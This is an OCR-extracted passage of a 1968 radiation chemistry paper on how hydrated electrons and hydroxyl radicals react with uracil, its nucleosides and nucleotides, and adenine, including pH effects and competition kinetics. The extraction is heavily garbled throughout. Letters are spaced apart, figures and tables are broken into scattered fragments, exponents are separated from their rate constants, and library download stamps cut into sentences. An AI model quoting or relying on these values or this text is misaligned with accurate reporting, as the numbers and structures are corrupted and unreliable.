i l , w h i c h is i n\n\nIn Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n406\n\nthe d i k e t o f o r m s i m i l a r to u r a c i l , has the same r e a c t i v i t y as\n\n1\n\nuncharged\n\nu r a c i l , the m e t h y l groups a p p a r e n t l y h a v i n g l i t t l e influence o n the re a c t i v i t y . I n 1 , 3 - d i m e t h y l u r a c i l a n d 2 , 4 - d i e t h o x y p y r i m i d i n e , the m e a s u r e d rate constants are the same at p H 7 a n d p H 11 because the p o t e n t i a l l y i o n i z a b l e groups h a v e b e e n b l o c k e d . F r o m these observations, it w o u l d be p r e d i c t e d that a p a r t i a l ketoe n o l t a u t o m e r i s m of the c a r b o n y l groups (last entry i n T a b l e I I I )\n\nsuch\n\nas is f o u n d i n the s i n g l y i o n i z e d u r a c i l m o l e c u l e , w o u l d l e a d to a t w o Downloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 \| http://pubs.acs.org Publication Date: January 1, 1968 \| doi: 10.1021/ba-1968-0081.ch028\n\na n d a h a l f - f o l d decrease i n r e a c t i v i t y . e~\n\naq\n\nH e n c e , the\n\nfivefold\n\ndecrease i n\n\nr e a c t i v i t y u p o n i o n i z a t i o n of the p y r i m i d i n e r i n g m a y b e\n\naccounted\n\nfor b y a t w o f o l d decrease because of the negative c h a r g e a n d a t w o a n d a h a l f - f o l d decrease because of the p a r t i a l t a u t o m e r i z a t i o n . URAC —.\n\nr\n\n,\n\n°\n\nill: 1\n\nV\n\n°N\n\nV\n\n1\n\ni\n\nP K, 10\"\n\n1\n\n,\n\no 0\n\n10\n\n, IL\n\ni 6\n\ni 8\n\n1\n\n10\n\n—* PK 1\n\n. 2\n\n1\n\n12\n\n14\n\nPH 1\n\n10\n\n1\n\n8\n\nURIDINE\n\n>\n\nP K, 10\"\n\ni\n\ni\n\ni\n\n8\n\n10\n\npK i 12\n\n2\n\nJ\n\n14\n\npH Figure 2. The effect of pH on the rate constants for the reactions of e~ with uracil and uridine. Also shown are the ionizable groups of uracil and uridine and their pK values. The unionizable OH groups on the ribose molecules are not shown ao\n\na\n\nIn Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n28.\n\nGREENSTOCK E T A L .\n\nTable III.\n\nNucleic\n\nAcid\n\n407\n\nDerivatives\n\nEffect of Keto-enol Tautomerism on e q Reactivity of U r a c i l\n\nMolecule\n\na\n\npH\n\nke~ (M\n\nStructure\n\nog\n\n1\n\nsec. )\n\n0\n\nDownloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 \| http://pubs.acs.org Publication Date: January 1, 1968 \| doi: 10.1021/ba-1968-0081.ch028\n\nUracil\n\n1.5 X 1 0\n\n3 X 109\n\n11 O^N\n\nCH 1,3-Dimethyluracil\n\nW\n\n'\n\n3 \\ \"IT\n\n1.65 X 1 0\n\n1 0\n\n1.45 X 1 0\n\n1 0\n\ni CH,\n\n11\n\nN o change\n\n0C H 2\n\n2,4-Diethoxypyrimidine\n\nN\n\n7\n\nC^H 0^ 5\n\n11\n\n5\n\n2.8 X 10° N <\n\nN o change\n\n3.2 X 1 0\n\n9\n\nOH Hypothetical tautomer (2 keto, 4-enoluracil)\n\n(6 X 10 ) (predicted)\n\nIn Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n9\n\n408\n\n0\n\n0~\n\n0\n\nA>\n\nI\n\n0\n\nDownloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 \| http://pubs.acs.org Publication Date: January 1, 1968 \| doi: 10.1021/ba-1968-0081.ch028\n\nI\n\n0 = P-0\"\n\n0\"\n\n0\"\n\nOH\n\nOH\n\nV\n\n0\n\n1\n\n1\n\n0 • P-0~\n\nI\n\nN\n\n0~\n\n0\n\nI\n\n0 = P-OH\n\n0\n\nOH\n\nK ?\n\n2'\n\n0 = P-0~\n\npK,= 5.9\n\npK =9.4 (3 charges)\n\n/v v\n\nA . 0\n\n(2 charges)\n\n0\"\n\n0\"\n\nk\n\nu\n\nOH\n\n3 0\n\n0\"\n\nok X\n\nN\n\n1\n\n2' 3-CYCLIC U M P\n\nMONOPHOSPHATE(UMP)\n\n3-URIDINE\n\nCHEMISTRY\n\n0\n\npK =I2.5\n\n2\n\npK =9.4\n\npK = l2.5\n\n(2 charges)\n\n(3 charges)\n\n2\n\n3\n\n(4 charges)\n\nV /V 3\n\nFigure 3. Ionizable groups and pK values in 3'-UMP and 2',3'-cyclic UMP. Note that the second ionization which occurs in 3'-UMP at pH 5.9 is absent in 2',3'-cyclic UMP. The unionizable OH groups on the ribose molecule are not shown &\n\n1\n\nid\n\nMononucleotides\n\n1\n\n1\n\n_\n\n0\n\n:\n\n^ = 8\n\n* k\\ 5 8\n\n3\n\n\\\\\\ ^ V N ) 2',3-cyclic UMP \| ;\n\nt , UMP i\n\n\\\n\n\\\n\n2'3-UMP(mixed)\n\nUMP \"\n\n, 5-UMP\n\n3\n\ni\n\ni 10\n\ni\n\ni 14\n\nPH Figure 4. The effect of pH on the rate constants of e~ with the mononucleotides of uracil. Note UMP does not show a change in reactivity around UMP (mixed) and 5'-UMP which become doubly above this pH aa\n\nfor the reactions that 2\\3'-cyclic pH6 as do 2',3'ionized (UMP ~) 2\n\nN U C L E O T I D E S . P h o s p h a t e groups m a y b e attached to the ribose g r o u p of u r i d i n e at t h e 2', 3', or 5 ' positions to give 2', 3', or 5 ' - u r i d y l i c a c i d (UMP).\n\nT h e i o n i z a b l e groups i n 3 ' - U M P are s h o w n i n F i g u r e 3. T h e s e\n\nIn Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n28.\n\nGREENSTOCK E T A L .\n\nNucleic\n\nAcid\n\n409\n\nDerivatives\n\ngroups are n e g a t i v e l y c h a r g e d at p H 5 c a u s i n g a 1.5 f o l d decrease i n the e~\n\nm\n\nr e a c t i v i t y c o m p a r e d w i t h u r a c i l or u r i d i n e ( F i g u r e 4 ) . T h e p h o s p h a t e\n\ng r o u p becomes d o u b l y i o n i z e d at a p K decrease i n the e~\n\nrate constant.\n\nm\n\n( t w o f o l d ) t h a n for 2', 3 ' - U M P p e c t e d i f the e~\n\nm\n\nof 5.9 w h i c h results i n a f u r t h e r\n\na\n\nT h i s decrease is larger f o r 5 ' - U M P\n\n(mixed)\n\n(one a n d a h a l f - f o l d ) as\n\nex\n\nattacks p r i n c i p a l l y the p y r i m i d i n e r i n g , since a negative\n\np h o s p h a t e g r o u p o n the 5 ' p o s i t i o n is m u c h closer to the site of e~\n\nm\n\nattack\n\nt h a n w h e n it is o n the 2 ' or 3 ' p o s i t i o n , a n d s h o u l d h a v e a greater i n f l u \n\nDownloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 \| http://pubs.acs.org Publication Date: January 1, 1968 \| doi: 10.1021/ba-1968-0081.ch028\n\nence. T h e 2', 3'-eyclic U M P ( F i g u r e 3 ) does not h a v e a s e c o n d i o n i z a b l e g r o u p o n the p h o s p h a t e as this is t a k e n u p f o r m i n g the 2', 3 ' b o n d . A s expected, the decrease i n r e a c t i v i t y at p H 5.9 is absent f o r 2', 3'-eyehc UMP.\n\nT h e three m o n o n u c l e o t i d e s , l i k e u r a c i l a n d u r i d i n e , a l l s h o w a\n\nlarge decrease i n r e a c t i v i t y at the pK\n\na\n\nfor the i o n i z a t i o n of the c a r b o n y l\n\ngroup. F o r u r i d y l i c a c i d d i n u c l e o t i d e s ( U p U ) a n d short c h a i n p o l y n u c l e o tides ( o l i g o U ) , a m a r k e d p r o t e c t i v e effect against e~\n\nattack is o b s e r v e d .\n\nm\n\nT h e r e a c t i v i t y per n u c l e o t i d e has b e e n m e a s u r e d as a f u n c t i o n of p H for U p U a n d for a n o l i g o U m o l e c u l e w h i c h contains a b o u t 20 nucleotides. T h e results are c o m p a r e d w i t h those f o r u r a c i l i n F i g u r e 5. I n the absence _\n\n,\n\nl\n\n1\n\n4\n\n1\n\n, 1 , 1 Polynucleotides\n\n,\n\ni\n\n.\n\n«\n\n6\n\ni\n\n.\n\n8\n\ni\n\n10\n\n,\n\n1\n\ni\n\n.\n\n12\n\n,\n\ni\n\n:\n\nI\n\n14\n\npH Figure 5. The effect of pH on the rate constants for the reactions of e~ with the dinucleotide (UpU) and oligonucleotide (oligo U, about 20 bases) of uracil. Note that these are plotted as the absolute rate constant per nucleotide. The reactivity of uracil (u) is shown for comparison aa\n\nIn Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n410\n\n1\n\nof a n y s h i e l d i n g effect, the rate constant per n u c l e o t i d e w i l l be u n c h a n g e d . H o w e v e r , i n these results, the r e a c t i v i t y p e r n u c l e o t i d e decreases as the n u m b e r of nucleotides i n the c h a i n increases. H y d r o x y l Radical Reaction Rates. of &.OH, the\n\nCOMPETITION METHOD.\n\nValues\n\n- O H r e a c t i o n rate w i t h u r a c i l , h a v e b e e n m e a s u r e d as a\n\nf u n c t i o n of p H b y u t i l i z i n g c o m p e t i t i o n w i t h C N S \" ( E q u a t i o n s 1 a n d 2 ) , and\n\nalso m o r e d i r e c t l y b y f o l l o w i n g the rate of d i s a p p e a r a n c e\n\nof\n\nthe\n\nc h r o m o p h o r e for the 5,6 d o u b l e b o n d . I n the c o m p e t i t i o n t e c h n i q u e , the v a l u e of fc.oii depends u p o n u s i n g the correct v a l u e of k ,\n\nthe • O H reac\n\nDownloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 \| http://pubs.acs.org Publication Date: January 1, 1968 \| doi: 10.1021/ba-1968-0081.ch028\n\n2\n\nt i o n rate w i t h C N S . B e c a u s e this rate is still s o m e w h a t i n d o u b t n e w measurements\n\nspecies i n 1 0 \" M solutions of K C N S ( F i g u r e 6 ) . 4\n\nIf one assumes that the\n\nrate l i m i t i n g step i n the f o r m a t i o n of the a b s o r b i n g species is k\n\n2\n\nk\n\ns\n\n(9)\n\nw e r e m a d e of the rate of b u i l d u p of the a b s o r b i n g\n\n( R e a c t i o n s 5 a n d 6 ) , t h e n a v a l u e for k\n\n2\n\nand not\n\nof 7.5 db 0.5 X 1 0 M 9\n\nsec.\n\n_ 1\n\n1\n\nis o b t a i n e d w h i c h is i n d e p e n d e n t of p H w i t h i n o u r e x p e r i m e n t a l errors (±7%).\n\nT h i s v a l u e is s l i g h t l y h i g h e r t h a n the v a l u e of 6.6 X\n\nsec.\" r e p o r t e d b y A d a m s et al. 1\n\n(3,\n\n10 M 9\n\nSince there is e v i d e n c e\n\n4, 5).\n\n_ 1\n\nthat\n\nthe a b s o r b i n g species is not C N S - b u t instead a n i o n - r a d i c a l c o m p l e x ( C N S ) \" ( 9 ) , the f o r m a t i o n of this c o m p l e x b y R e a c t i o n 6 m a y a c t u a l l y 2\n\nb e the rate l i m i t i n g step i n this process.\n\nIf this w e r e true, the values of\n\n10 M\n\nCNS\"\n\n• I0 M\n\nH 0\n\n2\n\n2\n\n2\n\nA N2O saturated 10\n\npK£ll.9 •0H\"T\"0\"\n\n10\"\n\n12\n\n10\n\n14\n\nPH Figure 6. The rate constant for the reaction of OH with the thiocyanate ion (CNS~) as a function of pH, using 10~ M H 0 or N 0 as the e~ scavenger. Note the sharp drop in reactivity above the pK for dissociation of OH to O'. Observations made in a I0~M KCNS solution at a wavelength of 500 m^ 2\n\n2\n\n2\n\nao\n\nIn Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n2\n\na\n\n28.\n\nGREENSTOCK E T A L .\n\nNucleic\n\nAcid\n\n411\n\nDerivatives\n\nk r e p o r t e d here w o u l d b e l o w , a n d a l l values f o r k. n 2\n\n0\n\nw o u l d have to b e\n\ncorrected accordingly. A s a check o n the v a l i d i t y of t h e c o m p e t i t i o n k i n e t i c m e t h o d u n d e r the c o n d i t i o n s of these experiments, the rate of - O H r e a c t i o n w i t h isop r o p y l a l c o h o l w a s d e t e r m i n e d u s i n g t h e a b o v e v a l u e of k\n\n2\n\nand compared\n\nw i t h t h e values r e p o r t e d b y other w o r k e r s . T a b l e I V shows the results\n\nDownloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 \| http://pubs.acs.org Publication Date: January 1, 1968 \| doi: 10.1021/ba-1968-0081.ch028\n\no b t a i n e d u s i n g the different m e t h o d s m e n t i o n e d . T h e v a l u e o b t a i n e d f o r\n\nTable I V .\n\nComparison of O H Reaction Rates with Isopropyl Alcohol by Different Methods\n\nk. y\n\nCompetitive\n\n0J\n\n1.25 X 10° 1.2 X 1 0\n\n9\n\n1.7 X 1 0 1.74 X 1 0\n\nSolute\n\nReference\n\n2 X 10~ M C N S \" i n 1 0 \" M H O o (aerated) 8-20 X 10~ M thymine ( p H 2 , aerated) 5 X 10\" M P N D A (pH9) 3-20 X 1 0 \" M K I 3\n\n2\n\n2\n\n5\n\n9\n\n5\n\n9\n\n5\n\n(fc.\n\n0H\n\nThis work = 7.5 X l O ^ M ' s e e r ) 23 1\n\n20 27\n\nFigure 7, Competition for OH between uracil and thiocyanate. The ratio of the optical density at 500 mim without solute (ODj, to that with solute (OD) has been plotted as a function of the ratio of solute (S) to CNS~ concentration. The lower curve is corrected for the theoretical decrease in absorbance arising from the failure of H 0 to completely scavenge e~ 2\n\n2\n\naq\n\nIn Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n1\n\n412\n\n1\n\n&.OH falls w i t h i n the s p r e a d of values r e p o r t e d i n the other experiments, b u t b o t h the C N S \" a n d t h y m i n e c o m p e t i t i o n m e t h o d s give values\n\n50%\n\nl o w e r t h a n o b t a i n e d b y u s i n g I\" or p - n i t r o s o d i m e t h y l a n i l i n e ( P N D A )\n\nas\n\nthe c o m p e t i t i v e solute. F i g u r e 7 shows the result of a t y p i c a l c o m p e t i t i o n p l o t f o r u r a c i l at p H 6.5.\n\nF r o m the slope of the u p p e r straight l i n e (k. n/k ), 0\n\nthe - O H r e a c t i o n rate w i t h u r a c i l of 6.4 ± 0.8 X 1 0 M 9\n\nu s i n g the m e a s u r e d v a l u e of k .\n\n1\n\nto u r a c i l ( l o w e r l i n e i n F i g u r e 7)\n\nm\n\nDownloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 \| http://pubs.acs.org Publication Date: January 1, 1968 \| doi: 10.1021/ba-1968-0081.ch028\n\nsec.\n\nis o b t a i n e d\n\nW h e n the slope is c o r r e c t e d for the\n\n2\n\nt h e o r e t i c a l loss of e~\n\na v a l u e for\n\n2\n\n_ 1\n\nas d e s c r i b e d\n\nearlier, a l o w e r v a l u e ( & . H c o r r . ) f o r the • O H r e a c t i o n rate w i t h u r a c i l 0\n\nof 5.0 ± 0.6 X 1 0 M 9\n\nsec.\" is o b t a i n e d . T h i s c o r r e c t e d v a l u e f o r the - O H\n\n_ 1\n\n1\n\nr e a c t i o n rate w i t h u r a c i l at n e u t r a l p H has b e e n v e r i f i e d u s i n g a h i g h e r c o n c e n t r a t i o n of H 0 2\n\n(5 X\n\n2\n\n10\" M).\n\nI n this s o l u t i o n the c o r r e c t i o n is\n\n2\n\nless t h a n 5 % a n d gives a v a l u e of 5.7 ± 1\n\ni6°\n\nI\n\n0.6 X 1 0 M 9\n\n_ 1\n\nsec.\" . 1\n\nI\n\ni\n\n/\n\ni \n\n\\\n\n'\\\n\n• %\n\n!\n\nA\n\nI\n\n\\\n\n\\\n\n\\\n\n!\n\nV\n\npKohl.9 •0H-\|-0\" 10 —\n\n~i\n\ni\n\ni\n\n6\n\n8\n\n10\n\n14\n\nPH Figure 8, The effect of pH on the rate constant for the reactions of OH with uracil obtained using the CNS~ competition technique T h e r e appears to b e a g r a d u a l increase i n • O H r e a c t i v i t y w i t h u r a c i l as the p H is v a r i e d f r o m 5 to 10.5 ( F i g u r e 8 ) .\n\nT h e r e is no a b r u p t c h a n g e\n\ni n r e a c t i v i t y at the p K i n d i c a t i n g that the changes i n charge a n d tauto 0\n\nm e r i c f o r m w h i c h o c c u r at the pK\n\na\n\nh a v e no effect o n the - O H r e a c t i o n .\n\nT h e l o w e r values f o r the - O H r e a c t i v i t y o b t a i n e d at p H 2 a n d 13.5 both considerably i n doubt.\n\nare\n\nT h e v a l u e at p H 2 is d o u b t f u l because of\n\nthe p o s s i b i l i t y that H - m a y b e e n t e r i n g i n t o the r e a c t i o n i n some w a y , a n d the p H 13.5 v a l u e because this is above the p K f o r the d i s s o c i a t i o n a\n\nIn Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n28.\n\nof\n\nNucleic\n\nGREENSTOCK E T A L .\n\nAcid\n\n413\n\nDerivatives\n\n- O H to O \" . T h e n o n - e q u i l i b r i u m c o n d i t i o n s existing f o l l o w i n g\n\nthe\n\ne l e c t r o n p u l s e m a k e it u n c e r t a i n w h e t h e r the • O H or 0 ~ r a d i c a l is react ing.\n\nThe\n\n- O H r e a c t i v i t y w i t h d i h y d r o u r a e i l , i n w h i c h the 5,6 b o n d is\n\nsaturated, is less t h a n one-fifth of that of u r a c i l\n\n1 X\n\n10 M 9\n\n- 1\n\nsec. ). - 1\n\nT h i s is e v i d e n c e that - O H attacks the 5,6 d o u b l e b o n d as suggested\n\nby\n\nthe r a d i o l y s i s p r o d u c t analysis studies i n w h i c h the t o t a l loss i n p y r i m i d i n e\n\nDownloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 \| http://pubs.acs.org Publication Date: January 1, 1968 \| doi: 10.1021/ba-1968-0081.ch028\n\nis the same as the y i e l d c a l c u l a t e d f r o m the loss of 5,6 d o u b l e b o n d\n\n(24).\n\nFigure 9. The disappearance of the 5,6 double bond absorption in an aerated 0.25 X 10~ M uracil solution containing 0.5 X 10~ M H 0 as an e~ scavenger. The wavelength of observation was 270 mjn and dose about 3 Krads. The two upper traces correspond to the signal levels with analyzing light off (upper) and on (central trace) at a gain of 0.05 volts/cm. The lower traces were obtained at a gain of 0.005 volts/cm., the increase in light transmission corresponding to loss of 5,6 double bond absorption for approximately 12% of the uracil. The sweep rate was 5fx sec./cm. graticule division 4\n\n3\n\n2\n\n2\n\nDIRECT OBSERVATION OF\n\n O H REACTION\n\nRATES.\n\nThe\n\nreactivity\n\nof\n\nthe 5,6 d o u b l e b o n d of p y r i m i d i n e s w i t h • O H r a d i c a l s suggested that the disappearance measurement\n\nof this c h r o m o p h o r e m i g h t b e u s e d f o r a m o r e of the absolute rate constant\n\nfor t h e i r reactivities.\n\ndirect The\n\nincrease i n t r a n s m i s s i o n at 2 7 0 m/x because of the • O H attack o n u r a c i l is s h o w n i n F i g u r e 9. T h e • O H r e a c t i o n rates w i t h u r a c i l o b t a i n e d u s i n g this t e c h n i q u e are c o m p a r e d w i t h values o b t a i n e d u s i n g c o m p e t i t i o n m e t h o d s a n d different values of k\n\n2\n\n(see\n\nTable V ) .\n\nT h e rate constants m e a s u r e d\n\nIn Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n414\n\nTable V .\n\nComparison of Rate Constants Measured k ( M \" seer )\n\nMethod 1.\n\n1\n\n2\n\nJ\n\n[C.S.] (M)\n\n1\n\nLoss of 5,6 double bond\n\nDose rate reduced 50% 2.\n\nCNS\" Competition\n\nDownloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 \| http://pubs.acs.org Publication Date: January 1, 1968 \| doi: 10.1021/ba-1968-0081.ch028\n\n3. 4.\n\n(corrected)\n\n7.5 ± 0.5 X 10\n\n9\n\n2 X 10\"\n\n7.5 ± 0.5 X 10\n\n9\n\n2 X lO\" 3\n\n2 X 10 (9)\n\nCNS\" (corrected)\n\n2 X 10-s\n\n10\n\n6.6 X 10\n\n5. CNS\" 6.\n\n3\n\n10\"\n\n4\n\n9\n\n5 X 10\"\n\nP N D A competition\n\nusing three different uracil concentrations\n\nagree within\n\nexperimental\n\nerror, the value of 7.4 ± 1.0 X 10 being quite close to the uncorrected 9\n\nvalue obtained by C N S \" competition. A reduction in the dose by a factor of two did not change the decay rate, indicating that radical-radical reactions were not entering into the reaction scheme.\n\nSince the direct\n\nmeasurement of 5,6 double bond disappearance does not suffer from the uncertainties of the C N S \" measurement, it should yield a reliable value. It should be noted, however, that if the value of k reported by Baxendale 2\n\net al. (9) is used in these calculations (Table V , No. 4), a much higher value of 1.3 X 10 is obtained for k. u corr. Using a competition reaction 10\n\n0\n\nwith P N D A , Kraljic and Trumbore (20) have also calculated a value of 5.4 X 1 0 M 9\n\n_ 1\n\ns e c . for fc. H, at p H 9 which is in reasonable 1\n\n0\n\nwith the values reported in this paper.\n\nagreement\n\nFrom the results in Table V it\n\nappears that the C N S \" competition technique of Adams et al. (3, 4, 5) gives a slightly lower value for the - O H reaction rate with uracil but a much larger rate constant for the reaction, C N S \" -\\- • O H —> C N S • + • O H \" (9) would not be in keeping with the direct observations. A true value for k of 1.0 X 1 0 M 2\n\n1 0\n\n1\n\nsec.\" is suggested by these measurements: 1\n\nR A T E S WITH O T H E R N U C L E I C ACID DERIVATIVES.\n\nT h e - O H reaction\n\nrates with uridine, U M P , and adenine are compared in Table V I with those for uracil obtained using the same C N S \" competition method. U r i dine and 2',3'-UMP (mixed) at neutral p H show lower corrected - O H reaction rates of 2.9 X 1 0 M 9\n\n_ 1\n\nsec. and 3.5 X 1 0 M 1\n\n9\n\n_ 1\n\nsec.\" respectively, 1\n\nindicating that the ribose sugar and phosphate groups are not highly reactive sites for - O H attack. Adenine, the complementary purine base to uracil in R N A has a much lower - O H reactivity than uracil of 1.9 X\n\nIn Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n28.\n\nGREENSTOCK E T A L .\n\nfor the Reaction of [fi] (M) 0.25 0.5 1.0 0.25\n\nX X X X\n\nNucleic\n\nk. 7.9 6.9 8.6 6.2 7.4\n\n4\n\n7.0\n\n4\n\n4 4\n\nM e a n value\n\nDownloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 \| http://pubs.acs.org Publication Date: January 1, 1968 \| doi: 10.1021/ba-1968-0081.ch028\n\n^ 4 X 10~\n\n0 H\n\n(/LQH) Reference\n\n( M - ' sec. )\n\n± ± ± ± ±\n\n1.1 0.9 1.2 0.6 1.0\n\nX X X X X\n\n415\n\nDerivatives\n\nO H Radicals with U r a c i l\n\npH\n\n10\" 10~ 10\" 10\"\n\nAcid\n\n10 10 10 10 10\n\nThis This This This\n\n9 9 9 9\n\nwork work work work\n\n9\n\n3\n\n6.5\n\n6.4 ± 0.8 X 1 0\n\n9\n\nThis work\n\n^ 4 X 10-s\n\n6.5\n\n5.0 ± 0.6 X 1 0\n\n9\n\nThis work\n\n< 4 X lO-a\n\n6.5\n\n^ 3 X 10\"\n\n5-7\n\n4\n\n9\n\n1\n\n9 and this work\n\n3.1 ± 0.4 X 1 0\n\n9\n\n23\n\n5.4 X 1 0\n\n9\n\n20\n\n(1.3 ± 0.2 X 1 0 )\n\n9 10 M\n\n10\n\nsec.\" . T h i s w o u l d b e i n agreement w i t h t h e l o w e r G - v a l u e f o r 1\n\nloss of t h e a d e n i n e base i n i r r a d i a t e d D N A solutions\n\n(24).\n\nConclusion, Summary and Discussion T h e r e a c t i o n rates of u r a c i l a n d its d e r i v a t i v e s w i t h solvated electrons h a v e b e e n s t u d i e d i n d e t a i l . O n t h e basis of v a r i a t i o n s of t h e e~\n\nm\n\nreaction\n\nrate as a f u n c t i o n of p H , a n d also w i t h the t a u t o m e r i c f o r m of t h e m o l e c u l e , i t is c o n c l u d e d that t h e changes i n r e a c t i v i t y are too great to b e a c c o u n t e d f o r b y charge alone, a n d that t h e k e t o - e n o l p r o t o t r o p h y w h i c h occurs d u r i n g i o n i z a t i o n is r e s p o n s i b l e f o r t h e large f r a c t i o n of t h e c h a n g e i n t h e r e a c t i o n rate. T h e s e results also s h o w that t h e c a r b o n y l groups of u r a c i l are r e s p o n s i b l e f o r t h e h i g h r e a c t i v i t y of these m o l e c u l e s . Table V I .\n\nO H Reaction Rates with Other Nucleic A c i d Derivatives Molecule\n\nk. (corrected)\n\nUracil Uridine 3 ' , 5 ' - U M P (mixed) Adenine\n\n5.0 2.9 3.5 1.9\n\nStudies of the e~\n\n0H\n\nm\n\n± ± ± ±\n\n0.6 0.4 0.5 0.3\n\n(M~* sec.' ) 1\n\nX X X X\n\n10 10 10 10\n\n9 9 9 9\n\nr e a c t i o n rates w i t h u r i d i n e , U M P , a n d o l i g o - U\n\ns h o w that t h e sugar a n d p h o s p h a t e groups are u n r e a c t i v e , a n d as o n e w o u l d p r e d i c t , s l i g h t l y r e d u c e d changes o c c u r i n t h e r e a c t i o n rates at t h e p H values w h e r e i o n i z a t i o n takes p l a c e i n the p h o s p h a t e a n d sugar g r o u p s . I n t h e larger c h a i n o l i g o U m o l e c u l e s s t u d i e d ( a b o u t 20 b a s e s ) , t h e r e a c t i v i t y p e r n u c l e o t i d e is c o n s i d e r a b l y r e d u c e d , suggesting that steric effects are i m p o r t a n t .\n\nIn Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n416\n\n1\n\nT h e values here f o r - O H r a d i c a l r e a c t i o n rates w i t h u r a c i l m e a s u r e d u s i n g t h e C N S \" c o m p e t i t i o n m e t h o d , w h e t h e r c o r r e c t e d or not, are a p p r e c i a b l y h i g h e r t h a n those o b t a i n e d b y Scholes et al. (23) m e t h o d (6.4 or 5.0 X 1 0 M 9\n\n5-7).\n\n- 1\n\nusing a similar\n\nsec.\" , as against 3.1 X 1 0 M 1\n\n9\n\n1\n\nsec.\" at p H 1\n\nT h i s c a n o n l y p a r t i a l l y b e e x p l a i n e d b y the s l i g h t l y h i g h e r v a l u e f o r\n\nk . o H + cNs- o b t a i n e d i n o u r measurements.\n\nH o w e v e r , t h e values o b t a i n e d\n\nb y Scholes w e r e m a d e u s i n g s u c h a l o w c o n c e n t r a t i o n of C N S \" that these ions w o u l d have b e e n u n a b l e c o m p l e t e l y to scavenge the - O H r a d i c a l s\n\nDownloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 \| http://pubs.acs.org Publication Date: January 1, 1968 \| doi: 10.1021/ba-1968-0081.ch028\n\n(1,2)\n\na n d m i g h t l e a d to this d i s c r e p a n c y . T h e - O H r e a c t i v i t y w i t h u r a c i l\n\nm e a s u r e d d i r e c t l y b y the d i s a p p e a r a n c e of the u r a c i l 5,6 d o u b l e b o n d is s l i g h t l y h i g h e r t h a n that o b t a i n e d b y C N S \" c o m p e t i t i o n . T h i s m a y i n d i cate that the v a l u e of k\n\n2\n\nof 7.5 X l O - W \"\n\nm a x i m u m of about 5 0 % . A t present, h i g h e r values of k\n\n2\n\n(9)\n\n1\n\nsec.\" s h o u l d b e i n c r e a s e d a 1\n\nthere is n o evidence that\n\nw o u l d b e c o m p a t i b l e w i t h the m o r e\n\neven direct\n\nobservations. T h e l o w e r r e a c t i v i t y of t h e h y d r o x y l r a d i c a l w i t h t h e p a r t i a l l y satu r a t e d u r a c i l d e r i v a t i v e , d i h y d r o u r a c i l , is i n agreement w i t h t h e r e a c t i o n schemes p r o p o s e d o n the basis of r a d i o l y s i s measurements w h i c h i n d i c a t e that d a m a g e to u r a c i l is a l w a y s a c c o m p a n i e d b y saturation of t h e 5,6 d o u b l e b o n d . H o w e v e r , w h e n one compares the r a d i o l y s i s y i e l d s i n t h e absence of t h e electron scavenger\n\no x y g e n , m a n y pieces\n\na p p e a r to b e\n\nm i s s i n g i n t h e p u z z l e . A l t h o u g h s o l v a t e d electrons react m o r e r a p i d l y w i t h u r a c i l t h a n d o - O H r a d i c a l s , the p r o d u c t y i e l d u n d e r c o n d i t i o n s w h e r e b o t h species react is greatly r e d u c e d — i . e . , the y i e l d f o r loss of u r a c i l i n o x y g e n is 2.1 as against 0.4 i n a d e o x y g e n a t e d s o l u t i o n i n s t e a d of b e i n g d o u b l e d b y the attack of b o t h • O H a n d e~ .\n\n(29)\n\nT h i s sug\n\naq\n\ngests some t y p e of a b a c k reaction, a n d experiments are b e i n g c a r r i e d out at present i n a n attempt to s t u d y this.\n\nAcknowledgments W e are p l e a s e d to a c k n o w l e d g e t h e use of the l i n e a r\n\naccelerator\n\nfacilities i n t h e P h y s i c s D e p a r t m e n t of the U n i v e r s i t y of T o r o n t o .\n\nIn\n\np a r t i c u l a r w e w i s h to t h a n k K . G . M c N e i l , E . H o r r i g a n , T . E l d e r , a n d t h e l i n a c operators\n\nf o r their assistance i n g e t t i n g the l i n a c o p e r a t i n g f o r\n\np u l s e r a d i o l y s i s w o r k . T h e experiments w e r e c a r r i e d o u t w i t h\n\nfinancial\n\nassistance f r o m t h e M e d i c a l R e s e a r c h C o u n c i l of C a n a d a , the N a t i o n a l C a n c e r Institute, a n d the O n t a r i o C a n c e r Institute.\n\nT w o of us ( C . L . C ,\n\na n d M . N . ) w i s h to a c k n o w l e d g e t h e financial s u p p o r t of t h e N a t i o n a l C a n c e r Institute.\n\nT h e authors w i s h to t h a n k their f e l l o w colleagues K i m\n\nU m e m o t o , M . J . B r o n s k i l l , a n d M . D u k e f o r their assistance i n this w o r k a n d to H . E . Johns f o r h i s k e e n interest i n r e a d i n g t h e m a n u s c r i p t a n d o f f e r i n g v a l u a b l e suggestions.\n\nIn Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n28.\n\nGREENSTOCK E T A L .\n\nNucleic\n\nAcid Derivatives\n\n417\n\nDownloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 \| http://pubs.acs.org Publication Date: January 1, 1968 \| doi: 10.1021/ba-1968-0081.ch028\n\nLiterature Cited (1) Adams, G. E., Boag, J. W., Currant, J., Michael, B. D., 